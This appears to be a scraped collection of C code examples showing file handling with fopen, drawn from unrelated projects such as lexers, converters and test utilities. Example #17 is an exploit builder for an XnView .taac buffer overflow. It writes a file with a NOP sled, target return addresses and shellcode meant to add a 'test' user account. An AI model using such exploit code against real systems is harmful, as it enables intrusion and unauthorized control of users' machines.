Example #1
0
Node *getListOfReservedWords(char *fptrw){//fptrw= file path to reserved words
	Node *lrw=NULL;//list reserved words
	char *word,*token;
	if((el=fopen(fptrw,"r"))==NULL){
		return NULL;
	}
	sl=fopen(fptrw,"r");
	while((cr=fgetc(el))!=EOF){
		while(cr!='\n' && cr!=EOF){
			cr=fgetc(el);
		}
		fseek(el,-1,SEEK_CUR);
		setLexema();//set lexema reconocido on global variable lexema
		fgetc(el);
		fseek(sl,ftell(el),SEEK_SET);
		word=strdup(strtok(lexema,"|"));
		token=strdup(strtok(NULL,"|"));
		//printf("word= |%s|\n",word);
		//printf("token= |%s|\n",token);
		addNode(&lrw,getNode(word,token,NULL,NULL));
	}
	fclose(sl);
	fclose(el);
	return lrw;
}
Example #2
0
int main(int argc, char *argv[])
{
	char file[100];
	char target[100];
	char line[1000];
	FILE *fp1, *fp2;

	strcpy(file, argv[1]);
	strcpy(target, argv[2]);

	fp1 = fopen(file, "r");
	fp2 = fopen(target, "w");
	if (!fp1 || !fp2)
	{
		printf("Fail to open the file!\n");
		exit(-1);
	}
	
	while (fgets(line, 1000, fp1))
	{
		if (line[0] != '#')
			fputs(line, fp2);
	}

	fclose(fp1);
	fclose(fp2);

	return 0;
}
Example #3
0
/* system dependent call to get IEEE node ID.
   This sample implementation generates a random node ID. */
void get_ieee_node_identifier(uuid_node_t *node)
{
    static inited = 0;
    static uuid_node_t saved_node;
    char seed[16];
    FILE *fp;

    if (!inited) {
        fp = fopen("nodeid", "rb");
        if (fp) {
            fread(&saved_node, sizeof(saved_node), 1, fp);
            fclose(fp);
        } else {
            get_random_info(seed);
            seed[0] |= 0x01;
            memcpy(&saved_node, seed, sizeof(saved_node));
            fp = fopen("nodeid", "wb");
            if (fp) {
                fwrite(&saved_node, sizeof(saved_node), 1, fp);
                fclose(fp);
            }
        }
        inited = 1;
    }

    *node = saved_node;
}
void saveKeyMappings()
{
	FILE *ff = fopen(KEYMAPPINGS_FILE, "w");
	if( !ff )
		return;
	for( std::map<int, int>::const_iterator it = keyMappings.begin(); it != keyMappings.end(); it++ )
		fprintf(ff, "%d=%d\n", it->first, it->second);
	fclose(ff);
	ff = fopen(KEYMAPPINGS_CTRL_FILE, "w");
	if( !ff )
		return;
	for( std::set<int>::const_iterator it = keyMappingsCtrl.begin(); it != keyMappingsCtrl.end(); it++ )
		fprintf(ff, "%d\n", *it);
	fclose(ff);
	ff = fopen(KEYMAPPINGS_SHIFT_FILE, "w");
	if( !ff )
		return;
	for( std::set<int>::const_iterator it = keyMappingsShift.begin(); it != keyMappingsShift.end(); it++ )
		fprintf(ff, "%d\n", *it);
	fclose(ff);
	ff = fopen(KEYMAPPINGS_ALT_FILE, "w");
	if( !ff )
		return;
	for( std::set<int>::const_iterator it = keyMappingsAlt.begin(); it != keyMappingsAlt.end(); it++ )
		fprintf(ff, "%d\n", *it);
	fclose(ff);
}
int main(int argc,char *argv[])
{
    FILE *in;
    FILE *outkline;
    FILE *outdline;

    if(argc < 4)
        usage();

    if (( in = fopen(argv[1],"r")) == NULL )
    {
        fprintf(stderr,"Can't open %s for reading\n", argv[1]);
        usage();
    }

    if (( outkline = fopen(argv[2],"w")) == NULL )
    {
        fprintf(stderr,"Can't open %s for writing\n", argv[2]);
        usage();
    }

    if(( outdline = fopen(argv[3], "w")) == NULL )
    {
        fprintf(stderr, "Can't open %s for writing\n", argv[3]);
        usage();
    }

    ConvertConf(in, outkline, outdline);

    fprintf(stderr, "The kline file has been converted and should be renamed to\n");
    fprintf(stderr, "the config.h options (normally kline.conf and dline.conf) and\n");
    fprintf(stderr, "placed in your etc/ dir\n");
    return 0;
}
Example #6
0
int main(int argc, char **argv)
{
    char str[1024];
    char *pre = "<a href=\"http://";
    char *mid = "\" target=\"_blank\">";
    char *end = "</a>";
    FILE *in, *out;

    in = fopen(argv[1], "r");
    out = fopen(argv[2], "w");

    if (!in || !out) {
        perror("Open failed");
        return -1;
    }

    while (fscanf(in, "%s", str)) {
        fprintf(out, "%s%s%s%s%s\n", pre, str, mid, str, end);
    }

    fclose(in);
    fclose(out);

    return 0;
}
Example #7
0
int rename(const char *oldpath, const char *newpath)
{
    if (!monapi_file_exists(oldpath)) {
        return -1;
    }
    char buf[RENAME_BUF_SIZE];
    FILE* src = fopen(oldpath, "r");
    if (src == NULL) {
        return -1;
    }
    FILE* dest = fopen(newpath, "w");
    if (dest == NULL) {
        fclose(src);
        return -1;
    }
    size_t size;
    while (size = fread(buf, 1, RENAME_BUF_SIZE, src)) {
        if (fwrite(buf, 1, size, dest) != size) {
            fclose(dest);
            fclose(src);
            return -1;
        }
    }
    fclose(dest);
    fclose(src);
    if (unlink(oldpath) != 0) {
        return -1;
    }
    return 0;
}
int main() {
    FILE *ifp;
    char line[MAX];
    char** tab;
    int col,ctr=0,row=0;
    tab=(char**)malloc(MAX*sizeof(char*));
    ifp = fopen("maze.in","r");

    if (ifp == NULL)
        printf("I couldn't open results.dat for writing.\n");

    else{
        while (fgets(line, MAX, ifp) != NULL) {
            col=strlen(line);
            row++;
        }
        for (ctr = 0; ctr<row; ctr++) {
            tab[ctr] = (char *) malloc(MAX * sizeof(**tab));
        }
        ctr=0;
        ifp = fopen("maze.in","r");
        while (fgets(line, MAX, ifp) != NULL){
            strcpy(tab[ctr],line);
            tab[ctr][col]='\0';
            ctr++;
        }
        printf("EMPTY MAZE!\n\n");
        display(tab,row,col,0);
        printf("\n\nSOLVED MAZE!\n\n");
        display(tab,row,col,1);
        fclose(ifp);
    }

    return 0;
}
Example #9
0
/*************************************************
  Function:		storage_clear_monitorlist
  Description: 	清空存储文件内容
  Input:		
  	1.Type		设备类型
  Output:		无
  Return:		ECHO_STORAGE
  Others:
*************************************************/
void storage_clear_monitorlist(DEVICE_TYPE_E Type)
{
	FILE* fPListFile = NULL;

	switch (Type)
	{
		case DEVICE_TYPE_DOOR_NET:
		case DEVICE_TYPE_DOOR_PHONE:	
			fPListFile = fopen(MONITOR_DOOR_PATH, "w");
			//Fwrite_common(MONITOR_DOOR_PATH, monitorlist->pMonitorInfo, MONITORINFO_SIZE, monitorlist->MonitorCount);
			break;

		case DEVICE_TYPE_STAIR:
			fPListFile = fopen(MONITOR_STAIR_PATH, "w");
			//Fwrite_common(MONITOR_STAIR_PATH, monitorlist->pMonitorInfo, MONITORINFO_SIZE, monitorlist->MonitorCount);
			break;	

		case DEVICE_TYPE_AREA:
			fPListFile = fopen(MONITOR_AREA_PATH, "w");
			//Fwrite_common(MONITOR_AREA_PATH, monitorlist->pMonitorInfo, MONITORINFO_SIZE, monitorlist->MonitorCount);
			break;
			
		default:
			break;
	}
    
	fclose(fPListFile);
	sync_data();
}
int main(int argc, char const *argv[]){
	FILE *fp_needle, *fp_haystack, *fp_output;	
	char haystack[MAX_ROWS][MAX_COLS], needle[MAX_ROWS][MAX_COLS];

	if(argc != 4){
		printf("The program needs three files!\n");
	}

	fp_haystack = fopen(argv[1], "r");
	fp_needle = fopen(argv[2], "r");
	fp_output = fopen(argv[3], "w");

	if(fp_haystack == NULL || fp_needle == NULL || fp_output == NULL){
		printf("One or more files from input cannot be read!\n");
		return 0;
	}

	clean_matrix(haystack);
	clean_matrix(needle);

	read_file_into_matrix(fp_haystack, haystack);
	read_file_into_matrix(fp_needle, needle);

	return 0;
}
Example #11
0
int main(void)
{
	FILE *fichero_origen = fopen("datos.txt", "rt");
	int n1, n2, res;
	char signo;
	FILE *fichero_destino = fopen("resultados.dat", "wb");
	
	/*Leemos del fichero de texto */
	while(fscanf(fichero_origen, "%i %c %i",&n1, &signo, &n2) != EOF)
	{
		/*Realizamos y guardamos el resultado de la operacion adecuada en funcion del signo*/
		if (signo=='+')
		{
			res = n1 + n2;
			fwrite(&res, sizeof(res), 1, fichero_destino);
		}
		else if (signo == '-')
		{
			res = n1 - n2;
			fwrite(&res, sizeof(res), 1, fichero_destino);
		}
		else
		{
			printf("Caracter de signo desconocido. No se guardara en fichero binario.\n");
		}
	}
	
	fclose(fichero_destino);
	fclose(fichero_origen);

	return 0;
}
Example #12
0
File: qmmm.c Project: t-/adaptive
void update_QMMM_coord(rvec x[],t_forcerec *fr, t_QMrec *qm, t_MMrec *mm)
{
  /* shifts the QM and MM particles into the central box and stores
   * these shifted coordinates in the coordinate arrays of the
   * QMMMrec. These coordinates are passed on the QM subroutines.
   */
  int
    i;
  /*write the ID's of the QM and MM atoms to file - top starts counting at 0*/
  FILE *timo;
  timo = fopen("qm_ids", "w");
  /* shift the QM atoms into the central box
   */
  for(i=0;i<qm->nrQMatoms;i++){
    rvec_sub(x[qm->indexQM[i]],fr->shift_vec[qm->shiftQM[i]],qm->xQM[i]);
    /*printf ("IDs: %4d\n", qm->indexQM[i]);*/
    fprintf(timo, "%d\n",qm->indexQM[i]+1);
  }
  fclose(timo);

  FILE *timo2;
  timo2 = fopen("mm_ids", "w");
  /* also shift the MM atoms into the central box, if any
   */
  for(i=0;i<mm->nrMMatoms;i++){
	rvec_sub(x[mm->indexMM[i]],fr->shift_vec[mm->shiftMM[i]],mm->xMM[i]);
	/*printf ("IDs MM: %4d\n", mm->indexMM[i]);*/
	fprintf(timo2, "%d\n",mm->indexMM[i]+1);
  }
  fclose(timo2);
} /* update_QMMM_coord */
static int process_command_cfg_create(const struct cfg_create_params *params) {
  int ret = -1;
  FILE *cfg_fp = NULL;
  FILE *img_fp = NULL;

  cfg_fp = fopen(params->cfg_filename, "r");
  if (cfg_fp == NULL) {
    fprintf(stderr, "Can not open config file: %s\n", params->cfg_filename);
    goto end;
  }

  printf("create image file: %s...\n", params->img_filename);

  img_fp = fopen(params->img_filename, "wb");
  if (img_fp == NULL) {
    fprintf(stderr, "Can not create file: %s\n", params->img_filename);
    goto end;
  }

  if (params->dtb_dir != NULL) {
    if (chdir(params->dtb_dir) != 0) {
      fprintf(stderr, "Can not switch to directory: %s\n", params->dtb_dir);
      goto end;
    }
  }

  ret = output_img_with_config(img_fp, cfg_fp);

end:
  if (img_fp) fclose(img_fp);
  if (cfg_fp) fclose(cfg_fp);

  return ret;
}
Example #14
0
short startAnalyzer(char *fpta,char *fptsl,char *fptse,char *fptrw){//fpta=file path to analyzer,fptse=file path to save errors, fptsl= file path to save lexemas, fptrw= file path to reserved words
	lrw=getListOfReservedWords(fptrw);//list recerved words
//	printList(lrw);
	if((el=fopen(fpta,"r"))==NULL){
		return -1;
	}
	if((pfe=fopen(fptse,"w+"))==NULL){
		return -2;
	}
	if((pfl=fopen(fptsl,"w+"))==NULL){
		return -3;
	}
	sl=fopen(fpta,"r");//is imposibol this line failure because pass if((el=fopen(filePath,"r"))!=NULL)
	cr='s';//start cr
	lineNumber=1;
	na=0;//here can change the automaton with el cual will start
	while(cr!=EOF){
		switch(na){
			case 0: automatonForId(); break;
			case 1: automatonForFloatNumbers(); break;
			case 2: automatonForIntegersNumber(); break;
			case 3: automatonForOperatorsArithmeticAssignmentIncrement();break;
			case 4: automatonForOperatorsAssignmentRelational();break;
			case 5: automatonForOperatorLogic();break;
			case 6: automatonForSpecialSymbol();break;
			default:	fprintf(pfe,"linea %u: %c\n",lineNumber,cr); fgetc(sl); fgetc(el); na=0; break;
		}
	}
	fclose(el);
	fclose(pfe);
	fclose(pfl);
	fclose(sl);
	return 0;
}
Example #15
0
/* Function to intialize the members of thread_args and uniq_wlist struct.
   This function also assigns regions that the files have to crawl thru.
   Input: File name string 
   Output: Updates members of thread_args and uniq_wlist struct.
*/
int init_thread_args(char *file_name)

{
  FILE *fp;
  int size, i, j;

  fp = fopen(file_name, "r");
  if(!fp)
    return 0;
  fseek(fp, 0, SEEK_END);
  size = ftell(fp);

  for (i = 0; i < NUM_THREADS; i++)
    {
      thd_args[i].fp = fopen(file_name, "r");
      
      if(!(thd_args[i].fp))
	return 0;
      
      thd_args[i].region = ceil(((i+1)*size)/NUM_THREADS);
      thd_args[i].start_pos = ceil((i*size)/NUM_THREADS);
      thd_args[i].word_count = thd_args[i].line_count = 0;
      thd_args[i].buffer = (char *)malloc(sizeof(char[256]));
    }

    for(j = 0; j < MAX_UNIQ_WORDS; j++)
   {
      uniq_wlist.words[j]= (char *)malloc(sizeof(char [256]));
      uniq_wlist.ind_word_count[j] = -1;
   }

  fclose(fp);
  return 1;
}
int main()
{
	int i;
	FILE *fp;
	if  ((fp=fopen("employee.dat","r"))==NULL)
	{
		printf("error\n");
		exit(0);
	}
	else
	{
		for (i=0; i<N; i++)
		fread(&Emp[i],sizeof(struct employee),1,fp);
		fclose(fp);
	}
	if ((fp=fopen("salary.dat","w"))==NULL)
	{
		printf("error\n");
		exit(0);
	}
	else
	{
		for (i=0; i<N; i++)
		fprintf(fp,"%s %s",Emp[i].name,Emp[i].salary);
		fclose(fp);
	}
	return 0;
}
Example #17
0
int main(int argc, char **argv)
{
    int i;
    FILE* f;
    printf("[+] XnView 1.93.6 for Windows .taac buffer overflow\n");
    printf("[+] Discovered by Secunia : \nhttp://secunia.com/secunia_research/2008-24/advisory/\n");
    printf("[+] Coded by shinnok,greetz to escalation666.\n http://www.rstcenter.com \n");
    if ((argc!=2)||((atoi(argv[1])!=0)&&(atoi(argv[1])!=1))) {
        printf("Usage: %s target\n",argv[0]);
        printf("Where target is:\n");
        printf("0: WinXP SP2\n");
        printf("1: WinXP SP3\n");
        printf("Successfull exploitation will result in the adding of user \"test\" with password \"test\".\n");
        return EXIT_SUCCESS;
    }
    for(i=0; i<256; i++) nops1[i]='\x90';
    nops1[256]='\0';
    for(i=0; i<14; i++) nops2[i]='\x90';
    nops2[20]='\0';
    if(atoi(argv[1])==0) {
        f=fopen("sploit.taac","wb");
        fprintf(f,"ncaa%crank=2;%cbands=3;%csize=125 123;%c",'\xa','\xa','\xa','\xa');
        fprintf(f,"format=%s%s%s%s;%c",nops1,ra_sp2,nops2,scode,'\xa');
    } else {
        f=fopen("sploit.taac","wb");
        fprintf(f,"ncaa%crank=2;%cbands=3;%csize=125 123;%c",'\xa','\xa','\xa','\xa');
        fprintf(f,"format=%s%s%s%s;%c",nops1,ra_sp3,nops2,scode,'\xa');
    }
    fclose(f);
    printf("sploit.taac created!\n");
    printf("Now open sploit.taac in XnView or browse from it to the folder containing sploit.taac.\n");
    printf("Then check with \"net user\" or from control panel for the user account test.\n");
    return EXIT_SUCCESS;
}
Example #18
0
int main(int argc, char ** argv)/*{{{*/
{
	FILE *regfile, *namelistfile;
	int i, err, pairs, pairs_allc;
	char **keys, **values;
	char *string, *tofree, *token;

	if (! (argc >= 3) ) {
		fprintf(stderr, "\nError: Not enough input arguments...\n\n");
		fprintf(stderr, "\nUSAGE: ./namelist_gen registry_file namelist_file_output [value_attribute] [key1=value1] [key2=value2]...\n\n");
		return 1;
	}

	if (!(regfile = fopen(argv[1], "r"))) {
		fprintf(stderr,"\nError: Could not open file %s for reading.\n\n", argv[1]);
		return 1;
	}
	if (!(namelistfile = fopen(argv[2], "w+"))) {
		fprintf(stderr, "\nError: Could not create file %s for writing.\n\n", argv[2]);
		return 1;
	}

	pairs = argc-3;
	if ( pairs > 0 ) {
		keys = malloc(sizeof(char*) * pairs);
		values = malloc(sizeof(char*) * pairs);
	} else {
		pairs = 0;
	}

	for(i = 0; i < pairs; i++){
		keys[i] = malloc(sizeof(char)*1024);
		values[i] = malloc(sizeof(char)*1024);

		string = strdup(argv[3+i]);
		tofree = string;

		token = strsep(&string, "=");
		sprintf(keys[i], "%s", token);

		token = strsep(&string, "=");
		sprintf(values[i], "%s", token);

		free(tofree);
	}

	ezxml_t registry = ezxml_parse_fp(regfile);

	err = generate_namelist(registry, namelistfile, pairs, keys, values);

	if ( pairs > 0 ) {
		free(keys);
		free(values);
	}

	fclose(regfile);
	fclose(namelistfile);

	return 0;
}/*}}}*/
Example #19
0
File: bat.c Project: gabeg805/Atlas
// Return the battery charge level
static int get_charge() {
    
    // Initialize file handler
    FILE *handle;
    
    // Get contents of NOW file
    handle = fopen(CHARGE_NOW_FILE, "r");
    char charge_now[10];
    fgets(charge_now, sizeof(charge_now), handle);    
    fclose(handle);
    
    // Get contents of FULL file
    handle = fopen(CHARGE_FULL_FILE, "r");
    char charge_full[10];
    fgets(charge_full, sizeof(charge_full), handle);    
    fclose(handle);
    
    // Get contents of STATUS file
    handle = fopen(CHARGE_STATUS_FILE, "r");
    char charge_status[10];
    fgets(charge_status, sizeof(charge_status), handle);    
    fclose(handle);
    
    // Calculate charge
    int charge;
    if ( strcmp(charge_status, "Charging\n") == 0 ) 
        charge = -1;
    else {
        int now = atoi(charge_now);
        int full = atoi(charge_full);
        charge = 100.0f * now / full;
    }
    
    return charge;
}    
Example #20
0
/*
 * Return 0 if the files are different, 1 if the files are the same.
 */
static int compare_file(const char *outfn, const char *newfn)
{
	FILE	*old_f, *new_f;
	char	oldbuf[2048], newbuf[2048], *oldcp, *newcp;
	int	retval;

	old_f = fopen(outfn, "r");
	if (!old_f)
		return 0;
	new_f = fopen(newfn, "r");
	if (!new_f) {
		fclose(old_f);
		return 0;
	}

	while (1) {
		oldcp = fgets(oldbuf, sizeof(oldbuf), old_f);
		newcp = fgets(newbuf, sizeof(newbuf), new_f);
		if (!oldcp && !newcp) {
			retval = 1;
			break;
		}
		if (!oldcp || !newcp || strcmp(oldbuf, newbuf)) {
			retval = 0;
			break;
		}
	}
	fclose(old_f);
	fclose(new_f);
	return retval;
}
static char* log_reader_fails_with_incorrect_version()
{
    const char* log_with_invalid_version =
    "#[Test log]\n"
    "#[Histogram log format version 1.04]\n"
    "#[StartTime: 1404700005.222 (seconds since epoch), Mon Jul 02:26:45 GMT 2014]\n"
    "StartTimestamp\",\"EndTimestamp\",\"Interval_Max\",\"Interval_Compressed_Histogram\"\n";
    const char* file_name = "histogram_with_invalid_version.log";
    struct hdr_log_reader reader;
    FILE* log_file;

    log_file = fopen(file_name, "w+");
    fprintf(log_file, "%s", log_with_invalid_version);
    fflush(log_file);
    fclose(log_file);

    log_file = fopen(file_name, "r");
    hdr_log_reader_init(&reader);
    int r = hdr_log_read_header(&reader, log_file);

    mu_assert("Should error with incorrect version", r == HDR_LOG_INVALID_VERSION);

    fclose(log_file);
    remove(file_name);

    return 0;
}
Example #22
0
bool CVSService::setUserPassword(const char *username, const char *password)
{
	// Repository is not initialized, just return false.
	if (!m_isRepoInitialized)
		return false;

	char filename[MAX_PATH + 24];
	FILE *fp;

	// Write user name password to 'passwd' file.
	if ((fp = fopen(strcat(strcpy(filename, m_repoPath), "/CVSROOT/passwd"), "w")) == NULL)
		return false;
	fprintf(fp, "%s:%s:%s\n", username, __crypt(password), getpwuid(getuid())->pw_name);
	fclose(fp);

	// Write user name to 'reader' file.
	if ((fp = fopen(strcat(strcpy(filename, m_repoPath), "/CVSROOT/reader"), "w")) == NULL)
		return false;
	fprintf(fp, "%s\n", username);
	fclose(fp);

	// Write user name to 'writer' file.
	if ((fp = fopen(strcat(strcpy(filename, m_repoPath), "/CVSROOT/writer"), "w")) == NULL)
		return false;
	fprintf(fp, "%s\n", username);
	fclose(fp);

	// Return true.
	return true;
}
Example #23
0
/**
 * Main function
 * \brief Main function
 * \param argc  A count of the number of command-line arguments
 * \param argv  An argument vector of the command-line arguments.
 * \warning Must be called with two filenames patchFile, originalFile as commandline parameters and in the given order.
 * \returns { 0 if succeeds, exit code otherwise}
 */
int main (int argc, char *argv[]) {
    FILE *patchFile;
    FILE *originalFile;

    if(argc<3) {
        fprintf(stderr, "!!!!! Usage: ./applyPatch patchFile originalFile !!!!!\n");
        exit(EXIT_FAILURE); /* indicate failure.*/
    }

    patchFile = fopen(argv[1] , "r" );
    originalFile = fopen(argv[2] , "r" );

    if (patchFile==NULL) {
        fprintf(stderr, "!!!!! Error opening patchFile !!!!! \n");
        exit(EXIT_FAILURE);
    }
    if (originalFile==NULL) {
        fprintf (stderr, "!!!!! Error opening originalFile !!!!!\n");
        exit(EXIT_FAILURE);
    }

    applyPatch(patchFile, originalFile);

    fclose(patchFile);
    fclose(originalFile);
    return 0;
}
Example #24
0
int filecopy( char *fname, char *sname )
{
    FILE *fp;
    FILE *fp2;
    int flen, rval;
    int max=0x8000;
    char *mem;
    rval=1;
    mem=mem_ini(max);
    fp=fopen(fname,"rb");
    if (fp==NULL) goto jobov;
    fp2=fopen(sname,"wb");
    if (fp2==NULL) goto jobov;
    while(1) {
        flen = (int)fread( mem, 1, max, fp );
        if (flen==0) break;
        fwrite( mem, 1, flen, fp2 );
        if (flen<max) break;
    }
    fclose(fp2);
    fclose(fp);
    rval=0;
jobov:
    mem_bye(mem);
    return rval;
}
Example #25
0
File: test.c Project: matsimon/RA
/* printf memory */
void test_printf_memory_write() {
    byte buf[4];
    word w = 'a' << 24 | 'b'<<16 | 'c'<<8 | '\n';

    /* set up a testfile in write mode */
    FILE *file = fopen(TESTFILE,"w");
    assert(file);

    /* redirect output of fprintf memory to this file */
    outputStream = file;

    /* write the string "abc" to fprintf */
    S2 = FPRINTF_MEMORY_LOCATION;
    S1 = w;
    test_execute(create_itype_hex(0x000, I_S1, I_S2, OC_SW));
    fclose(file);

    /* check if the output was "abc" */
    file = fopen(TESTFILE,"r");
    assert(file);
    fread(buf, 1, 4, file);
    fclose(file);
    assert(buf[0] == 'a');
    assert(buf[1] == 'b');
    assert(buf[2] == 'c');
    assert(buf[3] == '\n');
}
bool CopyElfFromFile(map_info_t* info, bool* file_copied) {
  std::string cur_name = basename(info->name.c_str());
  if (*file_copied) {
    info->name = cur_name;
    return true;
  }

  std::unique_ptr<FILE, decltype(&fclose)> fp(fopen(info->name.c_str(), "r"), &fclose);
  if (fp == nullptr) {
    perror((std::string("Cannot open ") + info->name).c_str());
    return false;
  }

  std::unique_ptr<FILE, decltype(&fclose)> output(fopen(cur_name.c_str(), "w+"), &fclose);
  if (output == nullptr) {
    perror((std::string("Cannot create file " + cur_name)).c_str());
    return false;
  }
  std::vector<uint8_t> buffer(10000);
  size_t bytes;
  while ((bytes = fread(buffer.data(), 1, buffer.size(), fp.get())) > 0) {
    size_t bytes_written = fwrite(buffer.data(), 1, bytes, output.get());
    if (bytes_written != bytes) {
      printf("Bytes written doesn't match bytes read: read %zu, written %zu\n", bytes,
             bytes_written);
      return false;
    }
  }

  // Replace the name with the new name.
  info->name = cur_name;

  return true;
}
Example #27
0
void read_rates(HRATEEFF *rate_table){

   FILE *fA = fopen(ALPHA_FILE, "r");
   FILE *fR = fopen(RR_FILE, "r"); 

   unsigned i, j, l;

   maketab(log(TR_MIN), log(TR_MAX), NTR, rate_table->logTR_tab);
   maketab(TM_TR_MIN, TM_TR_MAX, NTM, rate_table->TM_TR_tab);
   rate_table->DlogTR = rate_table->logTR_tab[1] - rate_table->logTR_tab[0];
   rate_table->DTM_TR = rate_table->TM_TR_tab[1] - rate_table->TM_TR_tab[0];  

   for (i = 0; i < NTR; i++) {  
      for (j = 0; j < NTM; j++) {  
	 for (l = 0; l <= 1; l++) {
           fscanf(fA, "%le", &(rate_table->logAlpha_tab[l][j][i]));
           rate_table->logAlpha_tab[l][j][i] = log(rate_table->logAlpha_tab[l][j][i]);
        }
      }
    
      fscanf(fR, "%le", &(rate_table->logR2p2s_tab[i]));
      rate_table->logR2p2s_tab[i] = log(rate_table->logR2p2s_tab[i]);
      
   }
   fclose(fA);
   fclose(fR);
}
Example #28
0
File: Road.c Project: rmnsfx/Pion
s8 rod_INIT(void)
{
	char temp[20];	
	
	pRFile = NULL;
	
	pRFile = fopen ("Road.log","r");
	
	if (pRFile != 0)
	{
		
		fscanf(pRFile, "%s", temp);			
		
		fclose(pRFile);	
				
		pRFile = fopen (temp,"r");		
		
		if (pRFile != 0) 
		{
			fclose(pRFile);	
			return 0;
		}
		else return -1;
	}
	else return -1;
}
Example #29
0
//-----------------------------------------------------------------------------
bool SoBoxPackManager::MakeSoBoxSetupExe()
{
	std::string strSrcExeName = SoBoxHelp::GetWorkPath();
	strSrcExeName += "SoBox.exe";
	std::string strDestExeName = SoBoxHelp::GetWorkPath();
	strDestExeName += "SoBox_setup.exe";

	FILE* pSrcExe = fopen(strSrcExeName.c_str(), "rb");
	if (pSrcExe == 0)
	{
		SoLogError("MakeSoBoxSetupExe : open file failed [%s]", strSrcExeName.c_str());
		return false;
	}
	m_pSetupFile = fopen(strDestExeName.c_str(), "wb+");
	if (m_pSetupFile == 0)
	{
		SoLogError("MakeSoBoxSetupExe : create file failed [%s]", strDestExeName.c_str());
		return false;
	}

	bool bCopyResult = SoBoxHelp::FileCopy(m_pSetupFile, pSrcExe);
	fclose(pSrcExe);
	//不要关闭m_pSetupFile文件指针。
	return bCopyResult;
}
Example #30
0
int main(int argc, char **argv) {
	if(argc<=1) throw std::runtime_error(TOSTRING("Usage : " << argv[0] << " <file> <indices_subset_file> <outfile>"));
	file = argv[1];

	Matrix X;
	X.read(file);

	std::cout << X.height << "x" << X.width << "\n";

	int nbrows = 0;

	FILE* f = fopen(argv[2], "r");
	while(!feof(f)) {
		if(fgetc(f)=='\n') nbrows++;
	}
	fclose(f);

	Matrix Y(nbrows, X.width);
	std::cout << Y.height << "x" << Y.width << "\n";

	f = fopen(argv[2], "r");
	int i=0;
	while(!feof(f)) {
		int ind; fscanf(f, "%u", &ind);
		ind--;
		memcpy(&Y[X.width*(i++)],&X[X.width*ind],sizeof(float)*X.width);
		if(i==nbrows) break;
	}
	fclose(f);

	Y.write(argv[3]);
	std::cout << "ok\n";
}